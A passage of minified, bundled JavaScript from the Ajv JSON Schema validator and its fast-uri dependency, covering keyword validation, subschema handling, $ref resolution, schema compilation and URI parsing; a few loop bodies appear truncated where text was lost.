${r.default.vErrors}.concat(${g})`).assign(r.default.errors,(0,e._)`${r.default.vErrors}.length`),(0,a.extendErrors)(m)},()=>m.error())}function u({schemaEnv:m},g){if(g.async&&!m.$async)throw new Error("async keyword in sync schema")}function l(m,g,b){if(b===void 0)throw new Error(`keyword "${g}" failed to compile`);return m.scopeValue("keyword",typeof b=="function"?{ref:b}:{ref:b,code:(0,e.stringify)(b)})}function d(m,g,b=!1){return!g.length||g.some(p=>p==="array"?Array.isArray(m):p==="object"?m&&typeof m=="object"&&!Array.isArray(m):typeof m==p||b&&typeof m>"u")}t.validSchemaType=d;function f({schema:m,opts:g,self:b,errSchemaPath:p},h,y){if(Array.isArray(h.keyword)?!h.keyword.includes(y):h.keyword!==y)throw new Error("ajv implementation error");let v=h.dependencies;if(v?.some(_=>!Object.prototype.hasOwnProperty.call(m,_)))throw new Error(`parent schema must have dependencies of ${y}: ${v.join(",")}`);if(h.validateSchema&&!h.validateSchema(m[y])){let S=`keyword "${y}" value is invalid at path "${p}": `+b.errorsText(h.validateSchema.errors);if(g.validateSchema==="log")b.logger.error(S);else throw new Error(S)}}t.validateKeywordUsage=f}),X9=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.extendSubschemaMode=t.extendSubschemaData=t.getSubschema=void 0;var e=Be(),r=Xe();function n(i,{keyword:o,schemaProp:c,schema:u,schemaPath:l,errSchemaPath:d,topSchemaRef:f}){if(o!==void 0&&u!==void 0)throw new Error('both "keyword" and "schema" passed, only one allowed');if(o!==void 0){let m=i.schema[o];return c===void 0?{schema:m,schemaPath:(0,e._)`${i.schemaPath}${(0,e.getProperty)(o)}`,errSchemaPath:`${i.errSchemaPath}/${o}`}:{schema:m[c],schemaPath:(0,e._)`${i.schemaPath}${(0,e.getProperty)(o)}${(0,e.getProperty)(c)}`,errSchemaPath:`${i.errSchemaPath}/${o}/${(0,r.escapeFragment)(c)}`}}if(u!==void 0){if(l===void 0||d===void 0||f===void 0)throw new Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"');return{schema:u,schemaPath:l,topSchemaRef:f,errSchemaPath:d}}throw new Error('either "keyword" or "schema" must be passed')}t.getSubschema=n;function a(i,o,{dataProp:c,dataPropType:u,data:l,dataTypes:d,propertyName:f}){if(l!==void 0&&c!==void 0)throw new Error('both "data" and "dataProp" passed, only one allowed');let{gen:m}=o;if(c!==void 0){let{errorPath:b,dataPathArr:p,opts:h}=o,y=m.let("data",(0,e._)`${o.data}${(0,e.getProperty)(c)}`,!0);g(y),i.errorPath=(0,e.str)`${b}${(0,r.getErrorPath)(c,u,h.jsPropertySyntax)}`,i.parentDataProperty=(0,e._)`${c}`,i.dataPathArr=[...p,i.parentDataProperty]}if(l!==void 0){let b=l instanceof e.Name?l:m.let("data",l,!0);g(b),f!==void 0&&(i.propertyName=f)}d&&(i.dataTypes=d);function g(b){i.data=b,i.dataLevel=o.dataLevel+1,i.dataTypes=[],o.definedProperties=new Set,i.parentData=o.data,i.dataNames=[...o.dataNames,b]}}t.extendSubschemaData=a;function s(i,{jtdDiscriminator:o,jtdMetadata:c,compositeRule:u,createErrors:l,allErrors:d}){u!==void 0&&(i.compositeRule=u),l!==void 0&&(i.createErrors=l),d!==void 0&&(i.allErrors=d),i.jtdDiscriminator=o,i.jtdMetadata=c}t.extendSubschemaMode=s}),tl=ee((t,e)=>{e.exports=function r(n,a){if(n===a)return!0;if(n&&a&&typeof n=="object"&&typeof a=="object"){if(n.constructor!==a.constructor)return!1;var s,i,o;if(Array.isArray(n)){if(s=n.length,s!=a.length)return!1;for(i=s;i--!==0;)if(!r(n[i],a[i]))return!1;return!0}if(n.constructor===RegExp)return n.source===a.source&&n.flags===a.flags;if(n.valueOf!==Object.prototype.valueOf)return n.valueOf()===a.valueOf();if(n.toString!==Object.prototype.toString)return n.toString()===a.toString();if(o=Object.keys(n),s=o.length,s!==Object.keys(a).length)return!1;for(i=s;i--!==0;)if(!Object.prototype.hasOwnProperty.call(a,o[i]))return!1;for(i=s;i--!==0;){var c=o[i];if(!r(n[c],a[c]))return!1}return!0}return n!==n&&a!==a}}),J9=ee((t,e)=>{var r=e.exports=function(s,i,o){typeof i=="function"&&(o=i,i={}),o=i.cb||o;var c=typeof o=="function"?o:o.pre||function(){},u=o.post||function(){};n(i,c,u,s,"",s)};r.keywords={additionalItems:!0,items:!0,contains:!0,additionalProperties:!0,propertyNames:!0,not:!0,if:!0,then:!0,else:!0},r.arrayKeywords={items:!0,allOf:!0,anyOf:!0,oneOf:!0},r.propsKeywords={$defs:!0,definitions:!0,properties:!0,patternProperties:!0,dependencies:!0},r.skipKeywords={default:!0,enum:!0,const:!0,required:!0,maximum:!0,minimum:!0,exclusiveMaximum:!0,exclusiveMinimum:!0,multipleOf:!0,maxLength:!0,minLength:!0,pattern:!0,format:!0,maxItems:!0,minItems:!0,uniqueItems:!0,maxProperties:!0,minProperties:!0};function n(s,i,o,c,u,l,d,f,m,g){if(c&&typeof c=="object"&&!Array.isArray(c)){i(c,u,l,d,f,m,g);for(var b in c){var p=c[b];if(Array.isArray(p)){if(b in r.arrayKeywords)for(var h=0;h{Object.defineProperty(t,"__esModule",{value:!0}),t.getSchemaRefs=t.resolveUrl=t.normalizeId=t._getFullPath=t.getFullPath=t.inlineRef=void 0;var e=Xe(),r=tl(),n=J9(),a=new Set(["type","format","pattern","maxLength","minLength","maxProperties","minProperties","maxItems","minItems","maximum","minimum","uniqueItems","multipleOf","required","enum","const"]);function s(p,h=!0){return typeof p=="boolean"?!0:h===!0?!o(p):h?c(p)<=h:!1}t.inlineRef=s;var i=new Set(["$ref","$recursiveRef","$recursiveAnchor","$dynamicRef","$dynamicAnchor"]);function o(p){for(let h in p){if(i.has(h))return!0;let y=p[h];if(Array.isArray(y)&&y.some(o)||typeof y=="object"&&o(y))return!0}return!1}function c(p){let h=0;for(let y in p){if(y==="$ref")return 1/0;if(h++,!a.has(y)&&(typeof p[y]=="object"&&(0,e.eachItem)(p[y],v=>h+=c(v)),h===1/0))return 1/0}return h}function u(p,h="",y){y!==!1&&(h=f(h));let v=p.parse(h);return l(p,v)}t.getFullPath=u;function l(p,h){return p.serialize(h).split("#")[0]+"#"}t._getFullPath=l;var d=/#\/?$/;function f(p){return p?p.replace(d,""):""}t.normalizeId=f;function m(p,h,y){return y=f(y),p.resolve(h,y)}t.resolveUrl=m;var g=/^[a-z_][-a-z0-9._]*$/i;function b(p,h){if(typeof p=="boolean")return{};let{schemaId:y,uriResolver:v}=this.opts,_=f(p[y]||h),S={"":_},x=u(v,_,!1),w={},T=new Set;return n(p,{allKeys:!0},(j,q,U,N)=>{if(N===void 0)return;let G=x+q,te=S[N];typeof j[y]=="string"&&(te=ce.call(this,j[y])),le.call(this,j.$anchor),le.call(this,j.$dynamicAnchor),S[q]=te;function ce(ne){let H=this.opts.uriResolver.resolve;if(ne=f(te?H(te,ne):ne),T.has(ne))throw A(ne);T.add(ne);let P=this.refs[ne];return typeof P=="string"&&(P=this.refs[P]),typeof P=="object"?R(j,P.schema,ne):ne!==f(G)&&(ne[0]==="#"?(R(j,w[ne],ne),w[ne]=j):this.refs[ne]=G),ne}function le(ne){if(typeof ne=="string"){if(!g.test(ne))throw new Error(`invalid anchor "${ne}"`);ce.call(this,`#${ne}`)}}}),w;function R(j,q,U){if(q!==void 0&&!r(j,q))throw A(U)}function A(j){return new Error(`reference "${j}" resolves to more than one schema`)}}t.getSchemaRefs=b}),al=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getData=t.KeywordCxt=t.validateFunctionCode=void 0;var e=Z9(),r=Vu(),n=D1(),a=Vu(),s=G9(),i=K9(),o=X9(),c=Be(),u=Ua(),l=rl(),d=Xe(),f=el();function m(O){if(x(O)&&(T(O),S(O))){h(O);return}g(O,()=>(0,e.topBoolOrEmptySchema)(O))}t.validateFunctionCode=m;function g({gen:O,validateName:I,schema:z,schemaEnv:Z,opts:K},ue){K.code.es5?O.func(I,(0,c._)`${u.default.data}, ${u.default.valCxt}`,Z.$async,()=>{O.code((0,c._)`"use strict"; ${v(z,K)}`),p(O,K),O.code(ue)}):O.func(I,(0,c._)`${u.default.data}, ${b(K)}`,Z.$async,()=>O.code(v(z,K)).code(ue))}function b(O){return(0,c._)`{${u.default.instancePath}="", ${u.default.parentData}, ${u.default.parentDataProperty}, ${u.default.rootData}=${u.default.data}${O.dynamicRef?(0,c._)`, ${u.default.dynamicAnchors}={}`:c.nil}}={}`}function p(O,I){O.if(u.default.valCxt,()=>{O.var(u.default.instancePath,(0,c._)`${u.default.valCxt}.${u.default.instancePath}`),O.var(u.default.parentData,(0,c._)`${u.default.valCxt}.${u.default.parentData}`),O.var(u.default.parentDataProperty,(0,c._)`${u.default.valCxt}.${u.default.parentDataProperty}`),O.var(u.default.rootData,(0,c._)`${u.default.valCxt}.${u.default.rootData}`),I.dynamicRef&&O.var(u.default.dynamicAnchors,(0,c._)`${u.default.valCxt}.${u.default.dynamicAnchors}`)},()=>{O.var(u.default.instancePath,(0,c._)`""`),O.var(u.default.parentData,(0,c._)`undefined`),O.var(u.default.parentDataProperty,(0,c._)`undefined`),O.var(u.default.rootData,u.default.data),I.dynamicRef&&O.var(u.default.dynamicAnchors,(0,c._)`{}`)})}function h(O){let{schema:I,opts:z,gen:Z}=O;g(O,()=>{z.$comment&&I.$comment&&N(O),j(O),Z.let(u.default.vErrors,null),Z.let(u.default.errors,0),z.unevaluated&&y(O),R(O),G(O)})}function y(O){let{gen:I,validateName:z}=O;O.evaluated=I.const("evaluated",(0,c._)`${z}.evaluated`),I.if((0,c._)`${O.evaluated}.dynamicProps`,()=>I.assign((0,c._)`${O.evaluated}.props`,(0,c._)`undefined`)),I.if((0,c._)`${O.evaluated}.dynamicItems`,()=>I.assign((0,c._)`${O.evaluated}.items`,(0,c._)`undefined`))}function v(O,I){let z=typeof O=="object"&&O[I.schemaId];return z&&(I.code.source||I.code.process)?(0,c._)`/*# sourceURL=${z} */`:c.nil}function _(O,I){if(x(O)&&(T(O),S(O))){w(O,I);return}(0,e.boolOrEmptySchema)(O,I)}function S({schema:O,self:I}){if(typeof O=="boolean")return!O;for(let z in O)if(I.RULES.all[z])return!0;return!1}function x(O){return typeof O.schema!="boolean"}function w(O,I){let{schema:z,gen:Z,opts:K}=O;K.$comment&&z.$comment&&N(O),q(O),U(O);let ue=Z.const("_errs",u.default.errors);R(O,ue),Z.var(I,(0,c._)`${ue} === ${u.default.errors}`)}function T(O){(0,d.checkUnknownRules)(O),A(O)}function R(O,I){if(O.opts.jtd)return ce(O,[],!1,I);let z=(0,r.getSchemaTypes)(O.schema),Z=(0,r.coerceAndCheckDataType)(O,z);ce(O,z,!Z,I)}function A(O){let{schema:I,errSchemaPath:z,opts:Z,self:K}=O;I.$ref&&Z.ignoreKeywordsWithRef&&(0,d.schemaHasRulesButRef)(I,K.RULES)&&K.logger.warn(`$ref: keywords ignored in schema at path "${z}"`)}function j(O){let{schema:I,opts:z}=O;I.default!==void 0&&z.useDefaults&&z.strictSchema&&(0,d.checkStrictMode)(O,"default is ignored in the schema root")}function q(O){let I=O.schema[O.opts.schemaId];I&&(O.baseId=(0,l.resolveUrl)(O.opts.uriResolver,O.baseId,I))}function U(O){if(O.schema.$async&&!O.schemaEnv.$async)throw new Error("async schema in sync schema")}function N({gen:O,schemaEnv:I,schema:z,errSchemaPath:Z,opts:K}){let ue=z.$comment;if(K.$comment===!0)O.code((0,c._)`${u.default.self}.logger.log(${ue})`);else if(typeof K.$comment=="function"){let Ce=(0,c.str)`${Z}/$comment`,Me=O.scopeValue("root",{ref:I.root});O.code((0,c._)`${u.default.self}.opts.$comment(${ue}, ${Ce}, ${Me}.schema)`)}}function G(O){let{gen:I,schemaEnv:z,validateName:Z,ValidationError:K,opts:ue}=O;z.$async?I.if((0,c._)`${u.default.errors} === 0`,()=>I.return(u.default.data),()=>I.throw((0,c._)`new ${K}(${u.default.vErrors})`)):(I.assign((0,c._)`${Z}.errors`,u.default.vErrors),ue.unevaluated&&te(O),I.return((0,c._)`${u.default.errors} === 0`))}function te({gen:O,evaluated:I,props:z,items:Z}){z instanceof c.Name&&O.assign((0,c._)`${I}.props`,z),Z instanceof c.Name&&O.assign((0,c._)`${I}.items`,Z)}function ce(O,I,z,Z){let{gen:K,schema:ue,data:Ce,allErrors:Me,opts:Ae,self:Ie}=O,{RULES:Te}=Ie;if(ue.$ref&&(Ae.ignoreKeywordsWithRef||!(0,d.schemaHasRulesButRef)(ue,Te))){K.block(()=>Y(O,"$ref",Te.all.$ref.definition));return}Ae.jtd||ne(O,I),K.block(()=>{for(let Le of Te.rules)dt(Le);dt(Te.post)});function dt(Le){(0,n.shouldUseGroup)(ue,Le)&&(Le.type?(K.if((0,a.checkDataType)(Le.type,Ce,Ae.strictNumbers)),le(O,Le),I.length===1&&I[0]===Le.type&&z&&(K.else(),(0,a.reportTypeError)(O)),K.endIf()):le(O,Le),Me||K.if((0,c._)`${u.default.errors} === ${Z||0}`))}}function le(O,I){let{gen:z,schema:Z,opts:{useDefaults:K}}=O;K&&(0,s.assignDefaults)(O,I.type),z.block(()=>{for(let ue of I.rules)(0,n.shouldUseRule)(Z,ue)&&Y(O,ue.keyword,ue.definition,I.type)})}function ne(O,I){O.schemaEnv.meta||!O.opts.strictTypes||(H(O,I),O.opts.allowUnionTypes||P(O,I),L(O,O.dataTypes))}function H(O,I){if(I.length){if(!O.dataTypes.length){O.dataTypes=I;return}I.forEach(z=>{E(O.dataTypes,z)||M(O,`type "${z}" not allowed by context "${O.dataTypes.join(",")}"`)}),k(O,I)}}function P(O,I){I.length>1&&!(I.length===2&&I.includes("null"))&&M(O,"use allowUnionTypes to allow union type keyword")}function L(O,I){let z=O.self.RULES.all;for(let Z in z){let K=z[Z];if(typeof K=="object"&&(0,n.shouldUseRule)(O.schema,K)){let{type:ue}=K.definition;ue.length&&!ue.some(Ce=>C(I,Ce))&&M(O,`missing type "${ue.join(",")}" for keyword "${Z}"`)}}}function C(O,I){return O.includes(I)||I==="number"&&O.includes("integer")}function E(O,I){return O.includes(I)||I==="integer"&&O.includes("number")}function k(O,I){let z=[];for(let Z of O.dataTypes)E(I,Z)?z.push(Z):I.includes("integer")&&Z==="number"&&z.push("integer");O.dataTypes=z}function M(O,I){let z=O.schemaEnv.baseId+O.errSchemaPath;I+=` at "${z}" (strictTypes)`,(0,d.checkStrictMode)(O,I,O.opts.strictTypes)}class X{constructor(I,z,Z){if((0,i.validateKeywordUsage)(I,z,Z),this.gen=I.gen,this.allErrors=I.allErrors,this.keyword=Z,this.data=I.data,this.schema=I.schema[Z],this.$data=z.$data&&I.opts.$data&&this.schema&&this.schema.$data,this.schemaValue=(0,d.schemaRefOrVal)(I,this.schema,Z,this.$data),this.schemaType=z.schemaType,this.parentSchema=I.schema,this.params={},this.it=I,this.def=z,this.$data)this.schemaCode=I.gen.const("vSchema",ve(this.$data,I));else if(this.schemaCode=this.schemaValue,!(0,i.validSchemaType)(this.schema,z.schemaType,z.allowUndefined))throw new Error(`${Z} value must be ${JSON.stringify(z.schemaType)}`);("code"in z?z.trackErrors:z.errors!==!1)&&(this.errsCount=I.gen.const("_errs",u.default.errors))}result(I,z,Z){this.failResult((0,c.not)(I),z,Z)}failResult(I,z,Z){this.gen.if(I),Z?Z():this.error(),z?(this.gen.else(),z(),this.allErrors&&this.gen.endIf()):this.allErrors?this.gen.endIf():this.gen.else()}pass(I,z){this.failResult((0,c.not)(I),void 0,z)}fail(I){if(I===void 0){this.error(),this.allErrors||this.gen.if(!1);return}this.gen.if(I),this.error(),this.allErrors?this.gen.endIf():this.gen.else()}fail$data(I){if(!this.$data)return this.fail(I);let{schemaCode:z}=this;this.fail((0,c._)`${z} !== undefined && (${(0,c.or)(this.invalid$data(),I)})`)}error(I,z,Z){if(z){this.setParams(z),this._error(I,Z),this.setParams({});return}this._error(I,Z)}_error(I,z){(I?f.reportExtraError:f.reportError)(this,this.def.error,z)}$dataError(){(0,f.reportError)(this,this.def.$dataError||f.keyword$DataError)}reset(){if(this.errsCount===void 0)throw new Error('add "trackErrors" to keyword definition');(0,f.resetErrorsCount)(this.gen,this.errsCount)}ok(I){this.allErrors||this.gen.if(I)}setParams(I,z){z?Object.assign(this.params,I):this.params=I}block$data(I,z,Z=c.nil){this.gen.block(()=>{this.check$data(I,Z),z()})}check$data(I=c.nil,z=c.nil){if(!this.$data)return;let{gen:Z,schemaCode:K,schemaType:ue,def:Ce}=this;Z.if((0,c.or)((0,c._)`${K} === undefined`,z)),I!==c.nil&&Z.assign(I,!0),(ue.length||Ce.validateSchema)&&(Z.elseIf(this.invalid$data()),this.$dataError(),I!==c.nil&&Z.assign(I,!1)),Z.else()}invalid$data(){let{gen:I,schemaCode:z,schemaType:Z,def:K,it:ue}=this;return(0,c.or)(Ce(),Me());function Ce(){if(Z.length){if(!(z instanceof c.Name))throw new Error("ajv implementation error");let Ae=Array.isArray(Z)?Z:[Z];return(0,c._)`${(0,a.checkDataTypes)(Ae,z,ue.opts.strictNumbers,a.DataType.Wrong)}`}return c.nil}function Me(){if(K.validateSchema){let Ae=I.scopeValue("validate$data",{ref:K.validateSchema});return(0,c._)`!${Ae}(${z})`}return c.nil}}subschema(I,z){let Z=(0,o.getSubschema)(this.it,I);(0,o.extendSubschemaData)(Z,this.it,I),(0,o.extendSubschemaMode)(Z,I);let K={...this.it,...Z,items:void 0,props:void 0};return _(K,z),K}mergeEvaluated(I,z){let{it:Z,gen:K}=this;Z.opts.unevaluated&&(Z.props!==!0&&I.props!==void 0&&(Z.props=d.mergeEvaluated.props(K,I.props,Z.props,z)),Z.items!==!0&&I.items!==void 0&&(Z.items=d.mergeEvaluated.items(K,I.items,Z.items,z)))}mergeValidEvaluated(I,z){let{it:Z,gen:K}=this;if(Z.opts.unevaluated&&(Z.props!==!0||Z.items!==!0))return K.if(z,()=>this.mergeEvaluated(I,c.Name)),!0}}t.KeywordCxt=X;function Y(O,I,z,Z){let K=new X(O,z,I);"code"in z?z.code(K,Z):K.$data&&z.validate?(0,i.funcKeywordCode)(K,z):"macro"in z?(0,i.macroKeywordCode)(K,z):(z.compile||z.validate)&&(0,i.funcKeywordCode)(K,z)}var de=/^\/(?:[^~]|~0|~1)*$/,ie=/^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/;function ve(O,{dataLevel:I,dataNames:z,dataPathArr:Z}){let K,ue;if(O==="")return u.default.rootData;if(O[0]==="/"){if(!de.test(O))throw new Error(`Invalid JSON-pointer: ${O}`);K=O,ue=u.default.rootData}else{let Ie=ie.exec(O);if(!Ie)throw new Error(`Invalid JSON-pointer: ${O}`);let Te=+Ie[1];if(K=Ie[2],K==="#"){if(Te>=I)throw new Error(Ae("property/index",Te));return Z[I-Te]}if(Te>I)throw new Error(Ae("data",Te));if(ue=z[I-Te],!K)return ue}let Ce=ue,Me=K.split("/");for(let Ie of Me)Ie&&(ue=(0,c._)`${ue}${(0,c.getProperty)((0,d.unescapeJsonPointer)(Ie))}`,Ce=(0,c._)`${Ce} && ${ue}`);return Ce;function Ae(Ie,Te){return`Cannot access ${Ie} ${Te} levels up, current level is ${I}`}}t.getData=ve}),_m=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});class e extends Error{constructor(n){super("validation failed"),this.errors=n,this.ajv=this.validation=!0}}t.default=e}),nl=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=rl();class r extends Error{constructor(a,s,i,o){super(o||`can't resolve reference ${i} from id ${s}`),this.missingRef=(0,e.resolveUrl)(a,s,i),this.missingSchema=(0,e.normalizeId)((0,e.getFullPath)(a,this.missingRef))}}t.default=r}),bm=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.resolveSchema=t.getCompilingSchema=t.resolveRef=t.compileSchema=t.SchemaEnv=void 0;var e=Be(),r=_m(),n=Ua(),a=rl(),s=Xe(),i=al();class o{constructor(y){var v;this.refs={},this.dynamicAnchors={};let _;typeof y.schema=="object"&&(_=y.schema),this.schema=y.schema,this.schemaId=y.schemaId,this.root=y.root||this,this.baseId=(v=y.baseId)!==null&&v!==void 0?v:(0,a.normalizeId)(_?.[y.schemaId||"$id"]),this.schemaPath=y.schemaPath,this.localRefs=y.localRefs,this.meta=y.meta,this.$async=_?.$async,this.refs={}}}t.SchemaEnv=o;function c(h){let y=d.call(this,h);if(y)return y;let v=(0,a.getFullPath)(this.opts.uriResolver,h.root.baseId),{es5:_,lines:S}=this.opts.code,{ownProperties:x}=this.opts,w=new e.CodeGen(this.scope,{es5:_,lines:S,ownProperties:x}),T;h.$async&&(T=w.scopeValue("Error",{ref:r.default,code:(0,e._)`require("ajv/dist/runtime/validation_error").default`}));let R=w.scopeName("validate");h.validateName=R;let A={gen:w,allErrors:this.opts.allErrors,data:n.default.data,parentData:n.default.parentData,parentDataProperty:n.default.parentDataProperty,dataNames:[n.default.data],dataPathArr:[e.nil],dataLevel:0,dataTypes:[],definedProperties:new Set,topSchemaRef:w.scopeValue("schema",this.opts.code.source===!0?{ref:h.schema,code:(0,e.stringify)(h.schema)}:{ref:h.schema}),validateName:R,ValidationError:T,schema:h.schema,schemaEnv:h,rootId:v,baseId:h.baseId||v,schemaPath:e.nil,errSchemaPath:h.schemaPath||(this.opts.jtd?"":"#"),errorPath:(0,e._)`""`,opts:this.opts,self:this},j;try{this._compilations.add(h),(0,i.validateFunctionCode)(A),w.optimize(this.opts.code.optimize);let q=w.toString();j=`${w.scopeRefs(n.default.scope)}return ${q}`,this.opts.code.process&&(j=this.opts.code.process(j,h));let N=new Function(`${n.default.self}`,`${n.default.scope}`,j)(this,this.scope.get());if(this.scope.value(R,{ref:N}),N.errors=null,N.schema=h.schema,N.schemaEnv=h,h.$async&&(N.$async=!0),this.opts.code.source===!0&&(N.source={validateName:R,validateCode:q,scopeValues:w._values}),this.opts.unevaluated){let{props:G,items:te}=A;N.evaluated={props:G instanceof e.Name?void 0:G,items:te instanceof e.Name?void 0:te,dynamicProps:G instanceof e.Name,dynamicItems:te instanceof e.Name},N.source&&(N.source.evaluated=(0,e.stringify)(N.evaluated))}return h.validate=N,h}catch(q){throw delete h.validate,delete h.validateName,j&&this.logger.error("Error compiling schema, function code:",j),q}finally{this._compilations.delete(h)}}t.compileSchema=c;function u(h,y,v){var _;v=(0,a.resolveUrl)(this.opts.uriResolver,y,v);let S=h.refs[v];if(S)return S;let x=m.call(this,h,v);if(x===void 0){let w=(_=h.localRefs)===null||_===void 0?void 0:_[v],{schemaId:T}=this.opts;w&&(x=new o({schema:w,schemaId:T,root:h,baseId:y}))}if(x!==void 0)return h.refs[v]=l.call(this,x)}t.resolveRef=u;function l(h){return(0,a.inlineRef)(h.schema,this.opts.inlineRefs)?h.schema:h.validate?h:c.call(this,h)}function d(h){for(let y of this._compilations)if(f(y,h))return y}t.getCompilingSchema=d;function f(h,y){return h.schema===y.schema&&h.root===y.root&&h.baseId===y.baseId}function m(h,y){let v;for(;typeof(v=this.refs[y])=="string";)y=v;return v||this.schemas[y]||g.call(this,h,y)}function g(h,y){let v=this.opts.uriResolver.parse(y),_=(0,a._getFullPath)(this.opts.uriResolver,v),S=(0,a.getFullPath)(this.opts.uriResolver,h.baseId,void 0);if(Object.keys(h.schema).length>0&&_===S)return p.call(this,v,h);let x=(0,a.normalizeId)(_),w=this.refs[x]||this.schemas[x];if(typeof w=="string"){let T=g.call(this,h,w);return typeof T?.schema!="object"?void 0:p.call(this,v,T)}if(typeof w?.schema=="object"){if(w.validate||c.call(this,w),x===(0,a.normalizeId)(y)){let{schema:T}=w,{schemaId:R}=this.opts,A=T[R];return A&&(S=(0,a.resolveUrl)(this.opts.uriResolver,S,A)),new o({schema:T,schemaId:R,root:h,baseId:S})}return p.call(this,v,w)}}t.resolveSchema=g;var b=new Set(["properties","patternProperties","enum","dependencies","definitions"]);function p(h,{baseId:y,schema:v,root:_}){var S;if(((S=h.fragment)===null||S===void 0?void 0:S[0])!=="/")return;for(let T of h.fragment.slice(1).split("/")){if(typeof v=="boolean")return;let R=v[(0,s.unescapeFragment)(T)];if(R===void 0)return;v=R;let A=typeof v=="object"&&v[this.opts.schemaId];!b.has(T)&&A&&(y=(0,a.resolveUrl)(this.opts.uriResolver,y,A))}let x;if(typeof v!="boolean"&&v.$ref&&!(0,s.schemaHasRulesButRef)(v,this.RULES)){let T=(0,a.resolveUrl)(this.opts.uriResolver,y,v.$ref);x=g.call(this,_,T)}let{schemaId:w}=this.opts;if(x=x||new o({schema:v,schemaId:w,root:_,baseId:y}),x.schema!==x.root.schema)return x}}),Y9=ee((t,e)=>{e.exports={$id:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#",description:"Meta-schema for $data reference (JSON AnySchema extension proposal)",type:"object",required:["$data"],properties:{$data:{type:"string",anyOf:[{format:"relative-json-pointer"},{format:"json-pointer"}]}},additionalProperties:!1}}),Q9=ee((t,e)=>{var r={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,a:10,A:10,b:11,B:11,c:12,C:12,d:13,D:13,e:14,E:14,f:15,F:15};e.exports={HEX:r}}),eq=ee((t,e)=>{var{HEX:r}=Q9(),n=/^(?:(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)$/u;function a(h){if(u(h,".")<3)return{host:h,isIPV4:!1};let y=h.match(n)||[],[v]=y;return v?{host:c(v,"."),isIPV4:!0}:{host:h,isIPV4:!1}}function s(h,y=!1){let v="",_=!0;for(let S of h){if(r[S]===void 0)return;S!=="0"&&_===!0&&(_=!1),_||(v+=S)}return y&&v.length===0&&(v="0"),v}function i(h){let y=0,v={error:!1,address:"",zone:""},_=[],S=[],x=!1,w=!1,T=!1;function R(){if(S.length){if(x===!1){let A=s(S);if(A!==void 0)_.push(A);else return v.error=!0,!1}S.length=0}return!0}for(let A=0;A7){v.error=!0;break}A-1>=0&&h[A-1]===":"&&(w=!0);continue}else if(j==="%"){if(!R())break;x=!0}else{S.push(j);continue}}return S.length&&(x?v.zone=S.join(""):T?_.push(S.join("")):_.push(s(S))),v.address=_.join(""),v}function o(h){if(u(h,":")<2)return{host:h,isIPV6:!1};let y=i(h);if(y.error)return{host:h,isIPV6:!1};{let v=y.address,_=y.address;return y.zone&&(v+="%"+y.zone,_+="%25"+y.zone),{host:v,escapedHost:_,isIPV6:!0}}}function c(h,y){let v="",_=!0,S=h.length;for(let x=0;x{var r=/^[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12}$/iu,n=/([\da-z][\d\-a-z]{0,31}):((?:[\w!$'()*+,\-.:;=@]|%[\da-f]{2})+)/iu;function a(_){return typeof _.secure=="boolean"?_.secure:String(_.scheme).toLowerCase()==="wss"}function s(_){return _.host||(_.error=_.error||"HTTP URIs must have a host."),_}function i(_){let S=String(_.scheme).toLowerCase()==="https";return(_.port===(S?443:80)||_.port==="")&&(_.port=void 0),_.path||(_.path="/"),_}function o(_){return _.secure=a(_),_.resourceName=(_.path||"/")+(_.query?"?"+_.query:""),_.path=void 0,_.query=void 0,_}function c(_){if((_.port===(a(_)?443:80)||_.port==="")&&(_.port=void 0),typeof _.secure=="boolean"&&(_.scheme=_.secure?"wss":"ws",_.secure=void 0),_.resourceName){let[S,x]=_.resourceName.split("?");_.path=S&&S!=="/"?S:void 0,_.query=x,_.resourceName=void 0}return _.fragment=void 0,_}function u(_,S){if(!_.path)return _.error="URN can not be parsed",_;let x=_.path.match(n);if(x){let w=S.scheme||_.scheme||"urn";_.nid=x[1].toLowerCase(),_.nss=x[2];let T=`${w}:${S.nid||_.nid}`,R=v[T];_.path=void 0,R&&(_=R.parse(_,S))}else _.error=_.error||"URN can not be parsed.";return _}function l(_,S){let x=S.scheme||_.scheme||"urn",w=_.nid.toLowerCase(),T=`${x}:${S.nid||w}`,R=v[T];R&&(_=R.serialize(_,S));let A=_,j=_.nss;return A.path=`${w||S.nid}:${j}`,S.skipEscape=!0,A}function d(_,S){let x=_;return x.uuid=x.nss,x.nss=void 0,!S.tolerant&&(!x.uuid||!r.test(x.uuid))&&(x.error=x.error||"UUID is not valid."),x}function f(_){let S=_;return S.nss=(_.uuid||"").toLowerCase(),S}var m={scheme:"http",domainHost:!0,parse:s,serialize:i},g={scheme:"https",domainHost:m.domainHost,parse:s,serialize:i},b={scheme:"ws",domainHost:!0,parse:o,serialize:c},p={scheme:"wss",domainHost:b.domainHost,parse:b.parse,serialize:b.serialize},h={scheme:"urn",parse:u,serialize:l,skipNormalize:!0},y={scheme:"urn:uuid",parse:d,serialize:f,skipNormalize:!0},v={http:m,https:g,ws:b,wss:p,urn:h,"urn:uuid":y};e.exports=v}),q1=ee((t,e)=>{var{normalizeIPv6:r,normalizeIPv4:n,removeDotSegments:a,recomposeAuthority:s,normalizeComponentEncoding:i}=eq(),o=tq();function c(y,v){return typeof y=="string"?y=f(p(y,v),v):typeof y=="object"&&(y=p(f(y,v),v)),y}function u(y,v,_){let S=Object.assign({scheme:"null"},_),x=l(p(y,S),p(v,S),S,!0);return f(x,{...S,skipEscape:!0})}function l(y,v,_,S){let x={};return S||(y=p(f(y,_),_),v=p(f(v,_),_)),_=_||{},!_.tolerant&&v.scheme?(x.scheme=v.scheme,x.userinfo=v.userinfo,x.host=v.host,x.port=v.port,x.path=a(v.path||""),x.query=v.query):(v.userinfo!==void 0||v.host!==void 0||v.port!==void 0?(x.userinfo=v.userinfo,x.host=v.host,x.port=v.port,x.path=a(v.path||""),x.query=v.query):(v.path?(v.path.charAt(0)==="/"?x.path=a(v.path):((y.userinfo!==void 0||y.host!==void 0||y.port!==void 